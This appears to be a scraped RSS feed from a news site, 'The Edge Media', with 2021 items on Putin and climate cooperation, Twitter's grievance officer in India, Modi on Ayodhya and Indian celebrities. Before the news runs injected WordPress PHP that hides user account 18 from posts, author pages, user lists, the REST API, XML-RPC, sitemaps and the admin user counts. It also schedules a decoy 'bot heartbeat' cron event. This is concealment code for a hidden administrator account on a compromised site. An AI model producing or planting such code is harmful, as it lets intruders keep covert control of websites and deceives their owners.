add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Moscow and Washington have a shared interest in battling climate change, says Putin appeared first on The Edge Media.
]]>The climate problem is one of the areas where Russia and the United States have common interests and similar approaches,” Putin said in a phone call with Kerry who is visiting Moscow, the Kremlin said in a statement.
The former secretary of state is in Russia this week to discuss climate change with officials and has called on the country to cooperate with the US on the issue.
Putin said Moscow “attaches great importance” to achieving the goals of the Paris Agreement and “advocates de-politicising” dialogue on climate change.
The comments on a rare point of cooperation between the two countries come after Putin met US President Joe Biden for talks in Geneva last month.
The post Moscow and Washington have a shared interest in battling climate change, says Putin appeared first on The Edge Media.
]]>The post Twitter to appoint a new resident grievance officer soon. appeared first on The Edge Media.
]]>Appointing a resident grievance officer is one of several norms which Twitter and other social media platforms operating in India have to follow under the Information Technology (Intermediary Guidelines and Digital Ethics Code) Rules, 2021. On June 27, Twitter’s interim resident grievance officer Dharrmendra Chatur resigned from his post amid differences with the Union government over the IT Rules. The San Francisco-headquartered company then appointed US national Jeremy Kessel as its new resident grievance officer in India, which put it in violation of the new rules.
Earlier, the complaint against Twitter was filed in the Delhi high court on May 28 by Amit Acharya, a practicing advocate at the high court and the Supreme Court. On May 31, a bench of Justice Rekha Palli issued a notice to the social media giant, giving it three weeks to reply, and posted the matter for further hearing on July 6.
The post Twitter to appoint a new resident grievance officer soon. appeared first on The Edge Media.
]]>The post Avika Gor urges fan not to send her gifts, and donate instead appeared first on The Edge Media.
]]>The proceeds will go to an NGO. She urged fans not to send her gifts, and donate instead.
We will be live-streaming for the birthday. Samay Raina is hosting the game GeoGuessr where we’ll play the game and have an interactive session with fans. This is to raise funds for camp diaries like I do every year. I urge fans not to send gifts and donate instead,” Avika said.
She said she raised a lot of money last year along with a lot of industry friends including Aly Goni, Jasmin Bhasin, Bharti Singh, Dipika Kakar, Zain Imam, Shashank Vyas and Pratik Gandhi.
Avika added: “They, and a lot of their fans, donated and helped us reach our goal. This time I will be ringing in my birthday with my fans live with Samay.
The post Avika Gor urges fan not to send her gifts, and donate instead appeared first on The Edge Media.
]]>The post PM Modi describes Ayodhya as a city that is etched in the cultural consciousness of every Indian appeared first on The Edge Media.
]]>The officials also discussed various infrastructure projects like airport, expansion of railway station, bus station, roads and highways, with the Prime Minister.
During the meeting, PM Modi described Ayodhya as a city that is “etched in the cultural consciousness of every Indian,” as he asserted that it should “manifest the finest of our traditions and the best of our developmental transformations.”
He also said that the city should be developed such that generations should feel the desire to visit Ayodhya at least once in their lifetime. The Prime Minister also pointed out that the developmental works in Ayodhya will continue in the foreseeable future, however, “the momentum towards heralding Ayodhya to this next leap of progress must begin now.”
“It is our collective endeavour to celebrate the identity of Ayodhya and keep its cultural vibrancy alive through innovative ways,” he said at the meeting as per the government release.
The post PM Modi describes Ayodhya as a city that is etched in the cultural consciousness of every Indian appeared first on The Edge Media.
]]>The post Kareena joins the meme fest by sharing a dialogue appeared first on The Edge Media.
]]>
Kareena Kapoor Khan took to social media sharing a meme that featured her 2007 film Jab We Met’s character Geet. It is from a scene where Geet is telling a shopkeeper at a railway station, “Cola-shola sab apni jagah hai, par paani ka kaam paani hi karta hai (nether Cola nor Soda can quench one’s thirst like water does).” Sharing the meme, Kareena dropped a couple of emojis.
This comes after Cristiano Ronaldo kept aside two bottles of Coca-Cola at a Euro 2020 press conference and kept water bottles in the front. The move by the Portuguese star resulted in dropping $4 billion from Coca-Cola’s market value, while its shares dropped 1.6 percent.
The post Kareena joins the meme fest by sharing a dialogue appeared first on The Edge Media.
]]>The post After leaving Bigg Boss, Pavitra will miss Aijaz the most appeared first on The Edge Media.
]]>The post After leaving Bigg Boss, Pavitra will miss Aijaz the most appeared first on The Edge Media.
]]>